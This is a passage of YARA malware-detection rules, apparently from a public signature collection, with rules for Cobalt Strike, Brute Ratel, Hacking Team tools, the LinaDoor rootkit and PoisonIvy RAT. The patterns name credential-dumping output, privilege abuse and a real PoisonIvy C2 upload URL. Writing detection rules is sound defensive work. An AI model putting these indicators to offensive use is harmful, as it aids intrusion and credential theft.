		$s1 = "for %%G in (.pdf, .xls, .xlsx, .doc, .docx)" ascii
		$s2 = "cmd /c copy"
		$s3 = "forfiles"

	condition:
		filesize < 10KB and 2 of them
}

rule HKTL_CobaltStrike_SleepMask_Jul22
{
	meta:
		description = "Detects static bytes in Cobalt Strike 4.5 sleep mask function that are not obfuscated"
		author = "CodeX"
		date = "2022-07-04"
		reference = "https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs"
		score = 80
		id = "d396ab0e-b584-5a7c-8627-5f318a20f9dd"

	strings:
		$sleep_mask = { 48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 45 33 DB 45 33 D2 33 FF 33 F6 48 8B E9 BB 03 00 00 00 85 D2 0F 84 81 00 00 00 0F B6 45 }

	condition:
		$sleep_mask
}

rule Office_AutoOpen_Macro
{
	meta:
		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-28"
		score = 40
		hash1 = "4d00695d5011427efc33c9722c61ced2"
		hash2 = "63f6b20cb39630b13c14823874bd3743"
		hash3 = "66e67c2d84af85a569a04042141164e6"
		hash4 = "a3035716fe9173703941876c2bde9d98"
		hash5 = "7c06cab49b9332962625b16f15708345"
		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
		hash7 = "25285b8fe2c41bd54079c92c1b761381"
		id = "9774d96c-4d15-5a54-8fe2-e06372d9c4ec"

	strings:
		$s1 = "AutoOpen" ascii fullword
		$s2 = "Macros" wide fullword

	condition:
		( uint32be( 0 ) == 0xd0cf11e0 or uint32be( 0 ) == 0x504b0304 ) and all of ( $s* ) and filesize < 300000
}

rule Office_as_MHTML
{
	meta:
		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-28"
		score = 40
		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
		id = "21c0c3da-7295-54ad-9947-557a3180af3a"

	strings:
		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
		$s2 = "Content-Type: application/x-mso" ascii fullword
		$x1 = "QWN0aXZlTWltZQA" ascii
		$x2 = "0M8R4KGxGuE" ascii

	condition:
		uint32be( 0 ) == 0x4d494d45 and all of ( $s* ) and 1 of ( $x* )
}

rule Docm_in_PDF
{
	meta:
		description = "Detects an embedded DOCM in PDF combined with OpenAction"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-05-15"
		id = "08dfdfda-8ea5-530d-b89b-560415855080"

	strings:
		$a1 = /<<\/Names\[\([\w]{1,12}.docm\)/ ascii
		$a2 = "OpenAction" ascii fullword
		$a3 = "JavaScript" ascii fullword

	condition:
		uint32( 0 ) == 0x46445025 and all of them
}

rule bin_ndisk
{
	meta:
		description = "Hacking Team Disclosure Sample - file ndisk.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
		date = "2015-07-07"
		score = 100
		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
		id = "f442315e-67c2-55a5-954e-8e7e48aa1243"

	strings:
		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide
		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide
		$s3 = "\\Driver\\DeepFrz" wide
		$s4 = "Microsoft Kernel Disk Manager" fullword wide
		$s5 = "ndisk.sys" fullword wide
		$s6 = "\\Device\\MSH4DEV1" wide
		$s7 = "\\DosDevices\\MSH4DEV1" wide
		$s8 = "built by: WinDDK" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 6 of them
}

rule Hackingteam_Elevator_DLL
{
	meta:
		description = "Hacking Team Disclosure Sample - file elevator.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://t.co/EG0qtVcKLh"
		date = "2015-07-07"
		score = 70
		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
		id = "d479c675-b200-56e3-8976-f70b45ea791e"

	strings:
		$s1 = "\\sysnative\\CI.dll" ascii
		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii
		$s3 = "mitmproxy0" fullword ascii
		$s4 = "\\insert_cert.exe" ascii
		$s5 = "elevator.dll" fullword ascii
		$s6 = "CRTDLL.DLL" fullword ascii
		$s7 = "fail adding cert" fullword ascii
		$s8 = "DownloadingFile" fullword ascii
		$s9 = "fail adding cert: %s" fullword ascii
		$s10 = "InternetOpenA fail" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 6 of them
}

rule HackingTeam_Elevator_EXE
{
	meta:
		description = "Hacking Team Disclosure Sample - file elevator.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Hacking Team Disclosure elevator.c"
		date = "2015-07-07"
		score = 70
		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
		id = "a68b68dd-372d-5572-a1e7-1b7e06e986d8"

	strings:
		$x1 = "CRTDLL.DLL" fullword ascii
		$x2 = "\\sysnative\\CI.dll" ascii
		$x3 = "\\SystemRoot\\system32\\CI.dll" ascii
		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii
		$s1 = "[*] traversing processes" fullword ascii
		$s2 = "_getkprocess" fullword ascii
		$s3 = "[*] LoaderConfig %p" fullword ascii
		$s4 = "loader.obj" fullword ascii
		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
		$s6 = "[*] token restore" fullword ascii
		$s7 = "elevator.obj" fullword ascii
		$s8 = "_getexport" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of ( $x* ) and 3 of ( $s* )
}

rule brc4_core
{
	meta:
		version = "first version"
		author = "@ninjaparanoid"
		reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
		date = "2022-11-19"
		description = "Hunts for known strings used in Badger till release v1.2.9 when not in an encrypted state"
		id = "3a702d21-392f-5b7d-90a7-eb053d259b32"

	strings:
		$coreStrings1 = "CLOSED"
		$coreStrings2 = "LISTENING"
		$coreStrings3 = "SYN_SENT"
		$coreStrings4 = "SYN_RCVD"
		$coreStrings5 = "ESTABLISHED"
		$coreStrings6 = "FIN_WAIT1"
		$coreStrings7 = "FIN_WAIT2"
		$coreStrings8 = "CLOSE_WAIT"
		$coreStrings9 = "CLOSING"
		$coreStrings10 = "LAST_ACK"
		$coreStrings11 = "TIME_WAIT"
		$coreStrings12 = "DELETE_TCB"
		$coreStrings13 = "v4.0.30319"
		$coreStrings14 = "bYXJm/3#M?:XyMBF"
		$coreStrings15 = "ServicesActive"
		$coreStrings16 = "coffee"
		$coreStrings17 = "Until Admin Unlock"
		$coreStrings18 = "alertable"
		$coreStrings19 = "%02d%02d%d_%02d%02d%2d%02d_%s"
		$coreStrings20 = "<Left-Mouse>;"
		$coreStrings21 = "<Right-Mouse>;"
		$coreStrings22 = "<Cancel>;"
		$coreStrings23 = "<Middle-Mouse>;"
		$coreStrings24 = "<X1-Mouse>;"
		$coreStrings25 = "<X2-Mouse>;"
		$coreStrings26 = "<BackSpace>;"
		$coreStrings27 = "<Enter>;"
		$coreStrings28 = "<Shift>;"
		$coreStrings29 = "<CTRL>;"
		$coreStrings30 = "<ALT>;"
		$coreStrings31 = "<Pause>;"
		$coreStrings32 = "<Caps-Lock>;"
		$coreStrings33 = "<ESC>;"
		$coreStrings34 = "<Page-Up>;"
		$coreStrings35 = "<Page-Down>;"
		$coreStrings36 = "<End>;"
		$coreStrings37 = "<Home-Key>;"
		$coreStrings38 = "<Left-Arrow>;"
		$coreStrings39 = "<Up-Arrow>;"
		$coreStrings40 = "<Right-Arrow>;"
		$coreStrings41 = "<Down-Arrow>;"
		$coreStrings42 = "<Select>;"
		$coreStrings43 = "<Print-Key>;"
		$coreStrings44 = "<Print-Screen>;"
		$coreStrings45 = "<INS>;"
		$coreStrings46 = "<Delete>;"
		$coreStrings47 = "<Help>;"
		$coreStrings48 = "<Left-Windows-Key>;"
		$coreStrings49 = "<Right-Windows-Key>;"
		$coreStrings50 = "<Computer-Sleep>;"
		$coreStrings51 = "<F1>;"
		$coreStrings52 = "<F2>;"
		$coreStrings53 = "<F3>;"
		$coreStrings54 = "<F4>;"
		$coreStrings55 = "<F5>;"
		$coreStrings56 = "<F6>;"
		$coreStrings57 = "<F7>;"
		$coreStrings58 = "<F8>;"
		$coreStrings59 = "<F9>;"
		$coreStrings60 = "<F10>;"
		$coreStrings61 = "<F11>;"
		$coreStrings62 = "<F12>;"
		$coreStrings63 = "<F13>;"
		$coreStrings64 = "<F14>;"
		$coreStrings65 = "<F15>;"
		$coreStrings66 = "<F16>;"
		$coreStrings67 = "<F17>;"
		$coreStrings68 = "<F18>;"
		$coreStrings69 = "<F19>;"
		$coreStrings70 = "<F20>;"
		$coreStrings71 = "<F21>;"
		$coreStrings72 = "<F22>;"
		$coreStrings73 = "<F23>;"
		$coreStrings74 = "<F24>;"
		$coreStrings75 = "<Num-Lock>;"
		$coreStrings76 = "<Scroll-Lock>;"
		$coreStrings77 = "<Control>;"
		$coreStrings78 = "<Menu>;"
		$coreStrings79 = "<Volume Mute>;"
		$coreStrings80 = "<Volume Down>;"
		$coreStrings81 = "<Volume Up>;"
		$coreStrings82 = "<New Track>;"
		$coreStrings83 = "<Previous Track>;"
		$coreStrings84 = "<Play/Pause>;"
		$coreStrings85 = "<Play>;"
		$coreStrings86 = "<Zoom>;"
		$coreStrings87 = "%02X-%02X-%02X-%02X-%02X-%02X"
		$coreStrings88 = "%02d%02d%d_%02d%02d%2d%02d.png"
		$coreStrings89 = "%02d-%02d-%d %02d:%02d:%2d"
		$coreStrings90 = "%ls%s%ls%s%ls%s%ls%lu%ls%s%s"
		$coreStrings91 = "%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%d%ls%lu%ls"
		$coreStrings92 = "bhttp_x64.dll"
		$coreStrings93 = "  - %-45ls : %d"
		$coreStrings94 = "  - %-45ls : %ls"
		$coreStrings95 = "  - %-45ls : %llu"
		$coreStrings96 = "  - %-45ls : %u"
		$coreStrings97 = "  - %-45ls : %f"
		$coreStrings98 = "  - %-45ls : %S"
		$coreStrings99 = "  - Path: %ls"
		$coreStrings100 = "  - Enabled: %ls"
		$coreStrings101 = "  - Last Run: %ls"
		$coreStrings102 = "  - Next Run: %ls"
		$coreStrings103 = "  - Current State: %ls"
		$coreStrings104 = "  - XML Output:"
		$coreStrings105 = "  - Error fetching xml"
		$coreStrings106 = "[+] Name: %ls"
		$coreStrings107 = "[+] Task: %ld"
		$coreStrings108 = "  - Name: %ls"
		$coreStrings109 = "BYTE data[] = {"
		$coreStrings110 = "[+] %s Password History:"
		$coreStrings111 = "[+] Object RDN: "
		$coreStrings112 = "[+] SAM Username: "
		$coreStrings113 = "[+] User Principal Name: "
		$coreStrings114 = "[+] UAC: %08x ["
		$coreStrings115 = "[+] Password last change: "
		$coreStrings116 = "[+] SID history:"
		$coreStrings117 = "[+] Object SID: "
		$coreStrings118 = "[+] Object RID: %u"
		$coreStrings119 = "[-] E: 0x%08x (%u) - %s"
		$coreStrings120 = "[-] E: no item!"
		$coreStrings121 = "[-] E: bad version (%u)"
		$coreStrings122 = "[-] E: 0x%08x (%u)"
		$coreStrings123 = "[-] E: (%08x)"
		$coreStrings124 = "[-] E: DRS Extension Size (%u)"
		$coreStrings125 = "[-] E: No DRS Extension"
		$coreStrings126 = "[-] E: DRSBind (%u)"
		$coreStrings127 = "[-] E: DC '%s' not found"
		$coreStrings128 = "[-] E: Version (%u)"
		$coreStrings129 = "[-] E: 0x%08x"
		$coreStrings130 = "[-] E: DC not found"
		$coreStrings131 = "[-] E: Binding DC!"
		$coreStrings132 = "[-] E: %u"
		$coreStrings133 = "[-] E: Domain not found"
		$coreStrings134 = "[+] Syncing DC: %ls"
		$coreStrings135 = "========================================|"
		$coreStrings136 = "[-] E: NCChangesReply"
		$coreStrings137 = "[-] E: GetNCChanges (%u)"
		$coreStrings138 = "[-] E: GetNCChanges: 0x%08x"
		$coreStrings139 = "[-] E: ASN1"
		$coreStrings140 = "[dsyn]"
		$coreStrings141 = "[+] size         : %lu"
		$coreStrings142 = "[+] malloc (RX)  : 0x%p"
		$coreStrings143 = "[+] malloc (RW)  : 0x%p"
		$coreStrings144 = "[+] size        : %lu"
		$coreStrings145 = "[+] mapview (RX): 0x%p"
		$coreStrings146 = "[+] mapview (RW): 0x%p"
		$coreStrings147 = "[-] Invalid thread"
		$coreStrings148 = "[+] Thread start : 0x%p"
		$coreStrings149 = "[+] Thread Id    : %lu"
		$coreStrings150 = "  - expires at: %02d-%02d-%02d %02d:%02d:%02d"
		$coreStrings151 = "%-30ls%-30ls%ls"
		$coreStrings152 = "%-30S*%-29ls%04d hours"
		$coreStrings153 = "%-30S%-30ls%04d hours"
		$coreStrings154 = "[+] User is privileged"
		$coreStrings155 = "[+] Members of [%ls] in %ls"
		$coreStrings156 = "[+] Members of [%ls]"
		$coreStrings157 = "p[+] Alertable thread: %lu"
		$coreStrings158 = "[-] E: No Alertable threads"
		$coreStrings159 = "[!] QAPC not supported on existing process"
		$coreStrings160 = "[+] PID (%S) => %lu"
		$coreStrings161 = "[+] PPID => %lu"
		$coreStrings162 = "[+] PID (%S) => %lu"
		$coreStrings163 = "[+] Args => (%S)"
		$coreStrings164 = "[+] PPID => %lu"
		$coreStrings165 = "[+] %S => PID: %lu"
		$coreStrings166 = "[+] %S => PID (Suspended): %lu:%lu"
		$coreStrings167 = "[+] SYS key: "
		$coreStrings168 = "[+] SAM key: "
		$coreStrings169 = "v2.0.50727"
		$coreStrings170 = "v4.0.30319"
		$coreStrings171 = "[+] Dotnet: v"
		$coreStrings172 = "[+] Socks started"
		$coreStrings173 = "[-] Socks stopped and Profile cleared"
		$coreStrings174 = "[+] Stasis: %d:%d"
		$coreStrings175 = "<DIR>?%ls?%02d-%02d-%d %02d:%02d"
		$coreStrings176 = "<DIR>?%ls"
		$coreStrings177 = "<FILE>?%ls?%02d-%02d-%d %02d:%02d?%lld bytes"
		$coreStrings178 = "<FILE>?%ls"
		$coreStrings179 = "[+] listing %ls"
		$coreStrings180 = "%02d-%02d-%d %02d:%02d <DIR>  %ls"
		$coreStrings181 = "%02d-%02d-%d %02d:%02d <FILE> %ls %lld bytes"
		$coreStrings182 = "[+] PID: %d"
		$coreStrings183 = "[+] Impersonated: '%S\\%S'"
		$coreStrings184 = "[+] Killed: %lu"
		$coreStrings185 = "%ls%-8ls | %-8ls | %-6ls | %-30ls 	| %ls"
		$coreStrings186 = "[pstree] %S"
		$coreStrings187 = "6%d?%d?%S?%ls?%ls"
		$coreStrings188 = "%-8d | %-8d | %-6S | %-30ls 	| %ls"
		$coreStrings189 = "%d?%d?N/A?N/A?%ls"
		$coreStrings190 = "%-8d | %-8d | %-6ls | %-30ls 	| %ls"
		$coreStrings191 = "[-] Child Process???"
		$coreStrings192 = "[+] PID: %lu"
		$coreStrings193 = "[+] Impersonated '%ls'"
		$coreStrings194 = "[-] Duplicate listener: %S"
		$coreStrings195 = "[+] TCP listener: %S"
		$coreStrings196 = "[TCP] [%S]-<>-[%S]"
		$coreStrings197 = "[+] Added to Token Vault: %ls"
		$coreStrings198 = "[-] E: Invalid Arch: 0x%X"
		$coreStrings199 = "[+] Searching [0x%02X] permission"
		$coreStrings200 = "[-] SPN not found: %ls"
		$coreStrings201 = "[-] Invalid SPN: %S"
		$coreStrings202 = "[+] SPN: %ls"
		$coreStrings203 = "[+] Start Address: (%p)"
		$coreStrings204 = "[!] Invalid Address"
		$coreStrings205 = "[!] Invalid PID: %S"
		$coreStrings206 = "[+] PID: %lu"
		$coreStrings207 = "[+] TID: %lu"
		$coreStrings208 = "[+] T-Handle: 0x%X"
		$coreStrings209 = "[+] Suspend count: %lu"
		$coreStrings210 = "[+] %-24ls%-24ls%-24ls"
		$coreStrings211 = "%-66ls%-46ls%ls"
		$coreStrings212 = "    ============================================================= ============================================= =================================================="
		$coreStrings213 = "[+] Elevated Privilege"
		$coreStrings214 = "[-] Restricted Privilege"
		$coreStrings215 = "[+] Task-%d => %S (%S %%)"
		$coreStrings216 = "[Tasks] %02d => 0x%02X 0x%02X"
		$coreStrings217 = "[*] No active tasks"
		$coreStrings218 = "[-] Child: NA"
		$coreStrings219 = "[+] Child: %S"
		$coreStrings220 = "[TCP] Task-%d => %S"
		$coreStrings221 = "[+] Malloc: %lu"
		$coreStrings222 = "[+] ThreadEx: %lu"
		$coreStrings223 = "[+] %-30ls: %S"
		$coreStrings224 = "[+] %-30ls: %S"
		$coreStrings225 = "[+] %-30ls: "
		$coreStrings226 = "[+] %-30ls: %ls"
		$coreStrings227 = "  - %-6S %-22S %-22S %S"
		$coreStrings228 = "  - %-6S %-22S %-22S"
		$coreStrings229 = "  - 0x%lu [%02X-%02X-%02X-%02X-%02X-%02X] %S"
		$coreStrings230 = "  %-21S%-17S%-17S%-11S%-10S"
		$coreStrings231 = "  - %-19S%-17S%-17S%-11ld%-9ld"
		$coreStrings232 = "  - %-30ls: %I64dMB/%I64dMB"
		$coreStrings233 = "  - %-30ls: %lu MB"
		$coreStrings234 = "[+] CM: Already Running"
		$coreStrings235 = "[+] CM: Running"
		$coreStrings236 = "[+] CM: Started"
		$coreStrings237 = "[*] Task-%02d [Thread: %lu]"
		$coreStrings238 = "+-------------------------------------------------------------------+"
		$coreStrings239 = "[+] Session ID %lu => %ls: %ls\\%ls"
		$coreStrings240 = "[+] Enumerating PID: %lu [%ls]"
		$coreStrings241 = "[+] Captured Handle (PID: %lu)"
		$coreStrings242 = "[+] Initiated NTFS transaction"
		$coreStrings243 = "\\??\\C:\\Users\\Public\\cache.txt"
		$coreStrings244 = "[+] Dump Size: %d Mb"
		$coreStrings245 = "bhttp_x64.dll"
		$coreStrings246 = "bYXJm/3#M?:XyMBF"
		$coreStrings247 = "SeDebugPrivilege"

	condition:
		20 of them
}

import "pe"

rule brc4_shellcode
{
	meta:
		version = "last version"
		author = "@ninjaparanoid"
		description = "Hunts for shellcode opcode used in Badger x86/x64 till release v1.2.9"
		arch_context = "x64"
		reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
		date = "2022-11-19"
		id = "7e899d2f-332b-53f7-b9e6-cfde2bce6223"

	strings:
		$shellcode_x64_Start = { 55 50 53 51 52 56 57 41 50 41 51 41 52 41 53 41 54 41 55 41 56 41 57 }
		$shellcode_x64_End = { 5B 5E 5F 41 5C 41 5D 41 5E 41 5F 5D C3 }
		$shellcode_x64_StageEnd = { 5C 41 5F 41 5E 41 5D 41 5C 41 5B 41 5A 41 59 41 58 5F 5E 5A 59 5B 58 5D C3 }
		$funcHash1 = { 5B BC 4A 6A }
		$funcHash2 = { 5D 68 FA 3C }
		$funcHash3 = { AA FC 0D 7C }
		$funcHash4 = { 8E 4E 0E EC }
		$funcHash5 = { B8 12 DA 00 }
		$funcHash6 = { 07 C4 4C E5 }
		$funcHash7 = { BD CA 3B D3 }
		$funcHash8 = { 89 4D 39 8C }
		$hashFuncx64 = { EB 20 0F 1F 44 00 00 44 0F B6 C8 4C 89 DA 41 83 E9 20 4D 63 C1 4B 8D 04 10 49 39 CB 74 21 49 83 C3 01 41 89 C2 }
		$hashFuncx86 = { EB 07 8D 74 26 00 83 C2 01 0F B6 31 C1 C8 0D 89 F1 8D 5C 30 E0 01 F0 80 F9 61 89 D1 0F 43 C3 39 D7 75 E3 }

	condition:
		(pe.machine == pe.MACHINE_AMD64 and ( 2 of ( $shellcode* ) or all of ( $funcHash* ) and $hashFuncx64 ) ) or ( pe.machine == pe.MACHINE_I386 and ( all of ( $funcHash* ) and $hashFuncx86 ) )
}

rule MAL_LNX_LinaDoor_Rootkit_May22
{
	meta:
		description = "Detects LinaDoor Linux Rootkit"
		author = "Florian Roth"
		reference = "Internal Research"
		date = "2022-05-19"
		modified = "2023-05-16"
		score = 85
		hash1 = "25ff1efe36eb15f8e19411886217d4c9ec30b42dca072b1bf22f041a04049cd9"
		hash2 = "4792e22d4c9996af1cb58ed54fee921a7a9fdd19f7a5e7f268b6793cdd1ab4e7"
		hash3 = "9067230a0be61347c0cf5c676580fc4f7c8580fc87c932078ad0c3f425300fb7"
		hash4 = "940b79dc25d1988dabd643e879d18e5e47e25d0bb61c1f382f9c7a6c545bfcff"
		hash5 = "a1df5b7e4181c8c1c39de976bbf6601a91cde23134deda25703bc6d9cb499044"
		hash6 = "c4eea99658cd82d48aaddaec4781ce0c893de42b33376b6c60a949008a3efb27"
		hash7 = "c5651add0c7db3bbfe0bbffe4eafe9cd5aa254d99be7e3404a2054d6e07d20e7"
		id = "e2f250b4-9a8a-5d70-83d7-5d12ad3763fb"

	strings:
		$s1 = "/dev/net/.../rootkit_/" ascii
		$s2 = "did_exec" ascii fullword
		$s3 = "rh_reserved_tp_target" ascii fullword
		$s4 = "HIDDEN_SERVICES" ascii fullword
		$s5 = "bypass_udp_ports" ascii fullword
		$s6 = "DoBypassIP" ascii fullword
		$op1 = { 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 }
		$op2 = { e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b }
		$op3 = { 48 89 c3 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 }
		$op4 = { 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b 41 5c 41 5d }
		$fp1 = "/wgsyncdaemon.pid"

	condition:
		uint16( 0 ) == 0x457f and filesize < 2000KB and 2 of them and not 1 of ( $fp* ) or 4 of them
}

rule PoisonIvy_Sample_APT
{
	meta:
		description = "Detects a PoisonIvy APT malware group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
		id = "8d3b8222-8949-57dc-99b7-092189416efd"

	strings:
		$s0 = "pidll.dll" fullword ascii
		$s1 = "sens32.dll" fullword wide
		$s3 = "FileDescription" fullword wide
		$s4 = "OriginalFilename" fullword wide
		$s5 = "ZwSetInformationProcess" fullword ascii
		$s9 = "Microsoft Media Device Service Provider" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 47KB and all of them
}

rule PoisonIvy_Sample_APT_2
{
	meta:
		description = "Detects a PoisonIvy Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
		id = "4d64ccd2-add8-5749-8178-f2c5336e1495"

	strings:
		$s0 = "pidll.dll" fullword ascii
		$s1 = "sens32.dll" fullword wide
		$s2 = "9.0.1.56" fullword wide
		$s3 = "FileDescription" fullword wide
		$s4 = "OriginalFilename" fullword wide
		$s5 = "ZwSetInformationProcess" fullword ascii
		$s6 = "\"%=%14=" fullword ascii
		$s7 = "091A1G1R1_1g1u1z1" fullword ascii
		$s8 = "gHsMZz" fullword ascii
		$s9 = "Microsoft Media Device Service Provider" fullword wide
		$s10 = "Copyright (C) Microsoft Corp." fullword wide
		$s11 = "MFC42.DLL" fullword ascii
		$s12 = "MSVCRT.dll" fullword ascii
		$s13 = "SpecialBuild" fullword wide
		$s14 = "PrivateBuild" fullword wide
		$s15 = "Comments" fullword wide
		$s16 = "040904b0" fullword wide
		$s17 = "LegalTrademarks" fullword wide
		$s18 = "CreateThread" fullword ascii
		$s19 = "ntdll.dll" fullword ascii
		$s20 = "_adjust_fdiv" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 47KB and all of them
}

rule PoisonIvy_Sample_APT_3
{
	meta:
		description = "Detects a PoisonIvy Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
		id = "e2e0bf75-7704-585f-b2b3-727d14946c76"

	strings:
		$s0 = "\\notepad.exe" ascii
		$s1 = "\\RasAuto.dll" ascii
		$s3 = "winlogon.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule PoisonIvy_Sample_APT_4
{
	meta:
		description = "Detects a PoisonIvy Sample APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
		id = "02bf546b-99a2-5ffb-8ee7-7bb005ef953b"

	strings:
		$s0 = "Microsoft Software installation Service" fullword wide
		$s1 = "idll.dll" fullword ascii
		$s2 = "mgmts.dll" fullword wide
		$s3 = "Microsoft(R) Windows(R)" fullword wide
		$s4 = "ServiceMain" fullword ascii
		$s5 = "Software installation Service" fullword wide
		$s6 = "SetServiceStatus" fullword ascii
		$s7 = "OriginalFilename" fullword wide
		$s8 = "ZwSetInformationProcess" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 7 of them
}

rule PoisonIvy_Sample_5
{
	meta:
		description = "Detects PoisonIvy RAT sample set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
		id = "61f7efd4-745a-5f06-a66d-b4b2a2ecc614"

	strings:
		$s0 = "Microsoft Software installation Service" fullword wide
		$s2 = "pidll.dll" fullword ascii
		$s3 = "\\mspmsnsv.dll" ascii
		$s4 = "\\sfc.exe" ascii
		$s13 = "ServiceMain" fullword ascii
		$s15 = "ZwSetInformationProcess" fullword ascii
		$s17 = "LookupPrivilegeValueA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PoisonIvy_Sample_6
{
	meta:
		description = "Detects PoisonIvy RAT sample set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
		id = "f364fad0-3684-5500-b21b-396f1e259217"

	strings:
		$x1 = "124.133.252.150" fullword ascii
		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii
		$z1 = "\\temp\\si.txt" ascii
		$z2 = "Daemon Dynamic Link Library" fullword wide
		$z3 = "Microsoft Windows CTF Loader" fullword wide
		$z4 = "\\tappmgmts.dll" ascii
		$z5 = "\\appmgmts.dll" ascii
		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii
		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii
		$s2 = "\\temp\\ctfmon.tmp" ascii
		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii
		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii
		$s5 = "start read histry key" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
		$s7 = "[password]%s" fullword ascii
		$s8 = "Daemon.dll" fullword ascii
		$s9 = "[username]%s" fullword ascii
		$s10 = "advpack" fullword ascii
		$s11 = "%s%2.2X" fullword ascii
		$s12 = "advAPI32" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and 1 of ( $x* ) ) or ( 8 of ( $s* ) ) or ( 1 of ( $z* ) and 3 of ( $s* ) )
}

